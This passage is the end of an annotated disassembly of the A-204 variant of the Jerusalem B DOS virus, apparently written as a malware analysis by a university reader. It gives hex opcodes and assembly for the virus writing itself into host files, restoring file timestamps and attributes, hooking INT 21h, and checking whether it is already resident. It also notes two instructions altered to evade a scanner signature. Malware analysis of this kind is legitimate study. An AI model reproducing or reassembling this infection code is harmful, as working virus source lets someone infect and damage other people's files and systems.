063E F7 36 78 00             DIV W[078]		;
0642 0B D2                   OR DX,DX		; 
0644 74 01                   JE 0647		; 
0646 40                      INC AX		; AX=AX+01h
0647 A3 53 00                MOV W[053],AX	;
064A 89 16 51 00             MOV W[051],DX	;
064E A1 7C 00                MOV AX,W[07C]	; Restore AX
0651 8B 16 7E 00             MOV DX,W[07E]	; Restore DX
0655 F7 36 7A 00             DIV W[07A]		;
0659 2B 06 57 00             SUB AX,W[057]	;
065D A3 65 00                MOV W[065],AX	;
0660 C7 06 63 00 C5 00       MOV W[063],0C5	;
0666 A3 5D 00                MOV W[05D],AX	;
0669 C7 06 5F 00 10 07       MOV W[05F],0710	;
066F 33 C9                   XOR CX,CX		; CX=0000h
0671 8B D1                   MOV DX,CX		; DX=0000h
0673 B8 00 42                MOV AX,04200	; Move File Read/Write
0676 CD 21                   INT 021		; pointer to beginning of
						; file

0678 72 0A                   JB 0684		; If Error: -> 0684h
067A B9 1C 00                MOV CX,01C		; CX=1Ch
067D BA 4F 00                MOV DX,04F		; DX=4Fh
0680 B4 40                   MOV AH,040		; Write to file with
0682 CD 21                   INT 021		; handle

0684 72 11                   JB 0697		; If Error: -> 0697h
0686 3B C1                   CMP AX,CX		; Are all bytes written?
0688 75 18                   JNE 06A2		; No: -> 06A2h
068A 8B 16 7C 00             MOV DX,W[07C]	; Restore AX into DX
068E 8B 0E 7E 00             MOV CX,W[07E]	; Restore DX into CX
0692 B8 00 42                MOV AX,04200
0695 CD 21                   INT 021

0697 72 09                   JB 06A2		; If Error: -> 06A2h
0699 33 D2                   XOR DX,DX		; DX=0000h
069B B9 10 07                MOV CX,0710	; CX=0710h
069E B4 40                   MOV AH,040
06A0 CD 21                   INT 021

06A2 2E 83 3E 8F 00 00       CS CMP W[08F],0	; Not Enough Memory?
06A8 74 04                   JE 06AE		; Yes: -> 06AEh
06AA B4 49                   MOV AH,049		; Free memory
06AC CD 21                   INT 021		;

06AE 2E 83 3E 70 00 FF       CS CMP W[070],-1
06B4 74 31                   JE 06E7
06B6 2E 8B 1E 70 00          CS MOV BX,W[070]	; Restore File Handle
06BB 2E 8B 16 74 00          CS MOV DX,W[074]	; Restore File Date
06C0 2E 8B 0E 76 00          CS MOV CX,W[076]	; Restore File Time
06C5 B8 01 57                MOV AX,05701	; Set File's Date/Time
06C8 CD 21                   INT 021		; stamp

06CA B4 3E                   MOV AH,03E		; Close a file with
06CC CD 21                   INT 021		; handle

06CE 2E C5 16 80 00          CS LDS DX,[080]	; Get place (DS:DX) of
						; filename
06D3 2E 8B 0E 72 00          CS MOV CX,W[072]	; Restore File Attributes
06D8 B8 01 43                MOV AX,04301	; Put File Attributes
06DB CD 21                   INT 021		;

06DD 2E C5 16 1B 00          CS LDS DX,[01B]	; Restore original vector
06E2 B8 24 25                MOV AX,02524	; of interrupt 24h
06E5 CD 21                   INT 021		;

06E7 07                      POP ES		; Restore Registers
06E8 1F                      POP DS
06E9 5F                      POP DI
06EA 5E                      POP SI
06EB 5A                      POP DX
06EC 59                      POP CX
06ED 5B                      POP BX
06EE 58                      POP AX
06EF 9D                      POPF		; Restore Flags
06F0 2E FF 2E 17 00          CS JMP D[017]	; Call original INT 21h
						; address which was intercep-
						; ted with the LOAD & EXEC.
						; statement. Which means it 
						; will load and execute the
						; selected file

06F5 00 00 00 00 00 00 00 00 00 00 00

0700 4D DE 0C 00 10 00 00 00 00 00 00 00 00 00 00 00

0710 E9 92 00                JMP 07A5		; JUMP -> 07A5h

0711h til 07A4h are the same definition words/bytes as at 0103h til 0194h

07A5 FC                      CLD
07A6 B4 E0                   MOV AH,0E0
07A8 CD 21                   INT 021

07AA 80 FC E0                CMP AH,0E0		; AH>=E0h?
07AD 73 16                   JAE 07C5		; Yes: -> 07C5h
07AF 80 FC 03                CMP AH,3		; AH<03h
07B2 72 11                   JB 07C5		; Yes: -> 07C5h
						; The only way that the
						; code get passed here if
						; the virus is active in
						; memory. It will return
						; AX=0300h then.
07B4 B4 DD                   MOV AH,0DD
07B6 BF 00 01                MOV DI,0100	; DI=0100h
07B9 BE 10 07                MOV SI,0710	; SI=0710h
07BC 03 F7                   ADD SI,DI		; SI=0810h
07BE 2E 8B 8D 11 00          CS MOV CX,W[DI+011]; CX=Length of file
07C3 CD 21                   INT 021

07C5 8C C8                   MOV AX,CS		; AX=CS
07C7 05 10 00                ADD AX,010		; AX=AX+10h
07CA 8E D0                   MOV SS,AX		; SS=CS+10h
07CC BC 00 07                MOV SP,0700	; SP=0700h
07CF 50                      PUSH AX		; Store AX
07D0 B8 C5 00                MOV AX,0C5		; AX=00C5h
07D3 50                      PUSH AX		; Store AX
07D4 CB                      RETF		; RETURN from FAR

07D5 FC                      CLD		; Clear Direct

						; Here the A-204 variant
						; differs from the original
						; Jerusalem Version B virus
						; for the second time.
07D6 2E 8C 06 31 00          CS MOV W[031],ES	; These two lines have
07DB 06                      PUSH ES		; been changed in order
						; trying to avoid being
						; detected by the finger-
						; print in the VirScan.Dat
						; file. It has not succeeded
						; because the strain VirScan
						; searches for appears two
						; times in the viruscode

07DC 2E 8C 06 39 00          CS MOV W[039],ES	; Store ES
07E1 2E 8C 06 3D 00          CS MOV W[03D],ES	; Store ES
07E6 2E 8C 06 41 00          CS MOV W[041],ES	; Store ES

07EB 8C C0                   MOV AX,ES		; AX=ES
07ED 05 10 00                ADD AX,010		; AX=AX+10h
07F0 2E 01 06 49 00          CS ADD W[049],AX	; Store ES+10h
07F5 2E 01 06 45 00          CS ADD W[045],AX	; Store ES+10h

07FA B4 E0                   MOV AH,0E0		; AH=E0h
07FC CD 21                   INT 021		;

07FE 80 FC E0                CMP AH,0E0		; AH>=E0?
0801 73 13                   JAE 0816		; Yes: -> 0816h
						; This will never happen.
						; First of all it would be
						; a short jump into the
						; original program. Secondly
						; is the virus already active
						; in memory and will return
						; AX=0300h at the INT 21h call
						; with AH=E0h
0803 80 FC 03                CMP AH,3		; AH=03h
0806 07                      POP ES		; Restore ES
0807 2E 8E 16 45 00          CS MOV SS,W[045]	; Restore ES+10 into SS
080C 2E 8B 26 43 90          CS MOV SP,W[09043]	;

0810 90 		     NOP		; Start ofOriginal Program
0811 90                      NOP 		
0812 90                      NOP
0813 90                      NOP
0814 90                      NOP
0815 90                      NOP
0816 90                      NOP
0817 90                      NOP
0818 90                      NOP
0819 90                      NOP
081A 90                      NOP
081B 90                      NOP
081C 90                      NOP
081D 90                      NOP
081E 90                      NOP
081F 90                      NOP
0820 90                      NOP
0821 90                      NOP
0822 90                      NOP
0823 90                      NOP
0824 90                      NOP
0825 90                      NOP
0826 90                      NOP
0827 90                      NOP
0828 90                      NOP
0829 90                      NOP
082A 90                      NOP
082B 90                      NOP
082C 90                      NOP
082D 90                      NOP
082E 90                      NOP
082F C3                      RET		; End of Original Program

0830 2D 32 30 34 2A             	      	; -204*

NOTE: A-204 is a course-code for IAP (Inleiding Apparatuur en Programmatuur,
in English a Prologue in Hardware and Software) at my university. In this
course the PDP-11 Language is being teached. It's my opion, and my opion only,
that this change has been made by a first year student. The IAP-course is
a course for first years students. Only some lines were changed in order to
avoid detection. If the 'author' did know more about the 8086, (s?)he could
have optimized the code. Some pieces can be done much more elegant.